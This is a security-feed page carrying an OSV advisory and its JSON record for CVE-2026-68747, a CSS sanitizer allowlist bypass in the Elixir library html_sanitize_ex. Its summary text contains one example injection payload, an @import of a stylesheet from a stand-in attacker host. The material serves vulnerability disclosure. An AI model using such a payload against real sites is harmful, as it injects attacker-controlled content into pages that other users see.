Skip to content
Heist/ feed
Back to feed
Low

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Type: advisorySources: OSV

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the

Products
Not specified
Affected versions
Not specified
Fixed versions
Not specified
CVEs
CVE-2026-68747
Confirmed fixed CVEs
Not specified
Updated in this feed
4 Nov 2026, 21:22 UTC · Revision 1

Source evidence

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

core-osv · Original source

Published 6 Aug 2026, 14:50 UTC

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the

osv:CVE-2026-68747
Complete source record
{
  "id": "30619a75f055051a451a1c4fdebd5457e37ff470325f5a7f1ba8f19804353608",
  "url": "https://osv.dev/vulnerability/CVE-2026-68747",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input",
    "summary": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the",
    "evidence": "osv:CVE-2026-68747",
    "products": [],
    "severity": "low",
    "structured": {
      "id": "CVE-2026-68747",
      "aliases": [
        "CVE-2026-68747",
        "EEF-CVE-2026-68747",
        "GHSA-87v2-pfhj-r5x7"
      ],
      "metrics": [
        {
          "type": "CVSS_V4",
          "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "repo": "https://github.com/rrrene/html_sanitize_ex",
              "type": "GIT",
              "events": [
                {
                  "introduced": "088f92b18a4a3911a862b527d5eb3713f9abac24"
                },
                {
                  "fixed": "de5cc8085029dae9136af47a9c4712152d8a76f0"
                },
                {
                  "fixed": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308"
                },
                {
                  "fixed": "c311a499db0b0baef06493fb3cfeb730c0f18f28"
                }
              ],
              "database_specific": {
                "extracted_events": [
                  {
                    "cpe": "cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:*",
                    "range": [
                      {
                        "introduced": "0.3.1"
                      },
                      {
                        "fixed": "1.5.4"
                      }
                    ],
                    "source": "CPE_RANGE"
                  },
                  {
                    "range": [
                      {
                        "fixed": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308"
                      }
                    ],
                    "source": "REFERENCES_COMMIT"
                  },
                  {
                    "range": [
                      {
                        "fixed": "c311a499db0b0baef06493fb3cfeb730c0f18f28"
                      }
                    ],
                    "source": "REFERENCES_COMMIT"
                  }
                ]
              }
            }
          ],
          "versions": [
            "v1.4.4",
            "v1.5.3",
            "v1.5.2",
            "v1.5.1",
            "v1.5.0",
            "v1.5.0-rc.0",
            "v1.4.3",
            "v1.4.2",
            "v1.4.1",
            "v1.2.0",
            "v1.0.1",
            "v1.0.0",
            "v0.3.1"
          ],
          "database_specific": {
            "source": "https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-68747.json"
          }
        }
      ],
      "modified": "2026-10-28T02:30:39.449435436Z",
      "provider": "osv",
      "references": [
        "https://cna.erlef.org/cves/CVE-2026-68747.html",
        "https://github.com",
        "https://osv.dev/vulnerability/EEF-CVE-2026-68747",
        "https://repo.hex.pm",
        "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json",
        "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7",
        "https://nvd.nist.gov/vuln/detail/CVE-2026-68747",
        "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308",
        "https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28",
        "https://github.com/rrrene/html_sanitize_ex"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-74"
        ],
        "cna_assigner": "EEF",
        "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2026-68747",
        "evidence": "/id"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/severity/0/score"
  },
  "source_id": "core-osv",
  "document_id": 507201,
  "published_at": "2026-08-06T14:50:03.143+00:00"
}